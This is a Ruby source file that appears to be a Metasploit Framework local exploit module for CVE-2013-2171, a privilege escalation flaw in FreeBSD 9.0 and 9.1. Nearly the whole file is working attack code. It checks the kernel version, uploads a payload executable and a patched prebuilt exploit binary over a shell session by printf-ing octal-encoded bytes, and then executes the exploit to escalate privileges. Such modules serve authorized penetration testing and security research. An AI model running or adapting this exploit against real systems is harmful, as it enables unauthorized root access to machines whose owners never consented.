##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local
	Rank = GreatRanking

	include Msf::Exploit::EXE
	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Exploit::FileDropper

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'FreeBSD 9 Address Space Manipulation Privilege Escalation',
				'Description'   => %q{
					This module exploits a vulnerability that can be used to modify portions of
					a process's address space, which may lead to privilege escalation.  Systems
					such as FreeBSD 9.0 and 9.1 are known to be vulnerable.
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'Konstantin Belousov',   # Discovery
						'Alan Cox',              # Discovery
						'Hunger',                # POC
						'sinn3r'                 # Metasploit
					],
				'Platform'      => [ 'bsd' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell' ],
				'References'    =>
					[
						[ 'CVE', '2013-2171' ],
						[ 'OSVDB', '94414' ],
						[ 'EDB', '26368' ],
						[ 'BID', '60615' ],
						[ 'URL', 'http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc' ]
					],
				'Targets'       =>
					[
						[ 'FreeBSD x86', {} ]
					],
				'DefaultTarget' => 0,
				'DisclosureDate' => "Jun 18 2013",
			}
		))
		register_options([
			# It isn't OptPath becuase it's a *remote* path
			OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
		], self.class)

	end

	def check
		res = session.shell_command_token("uname -a")
		return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/

		Exploit::CheckCode::Safe
	end

	def write_file(fname, data)
		oct_data = "\\" + data.unpack("C*").collect {|e| e.to_s(8)} * "\\"
		session.shell_command_token("printf \"#{oct_data}\" > #{fname}")
		session.shell_command_token("chmod +x #{fname}")

		chk = session.shell_command_token("file #{fname}")
		return (chk =~ /ERROR: cannot open/) ? false : true
	end


	def upload_payload
		fname = datastore['WritableDir']
		fname = "#{fname}/" unless fname =~ %r'/$'
		if fname.length > 36
			fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters")
		end
		fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"

		p = generate_payload_exe
		f = write_file(fname, p)
		return nil if not f
		fname
	end

	def generate_exploit(payload_fname)
		#
		# Metasm does not support FreeBSD executable generation.
		#
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2171.bin")
		x = File.open(path, 'rb') { |f| f.read(f.stat.size) }
		x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00"))
	end

	def upload_exploit(payload_fname)
		fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}"
		bin = generate_exploit(payload_fname)
		f = write_file(fname, bin)
		return nil if not f
		fname
	end

	def exploit
		payload_fname = upload_payload
		fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
		print_status("Payload #{payload_fname} uploaded.")

		exploit_fname = upload_exploit(payload_fname)
		fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
		print_status("Exploit #{exploit_fname} uploaded.")

		register_files_for_cleanup(payload_fname, exploit_fname)

		print_status("Executing #{exploit_fname}")
		cmd_exec(exploit_fname)
	end

end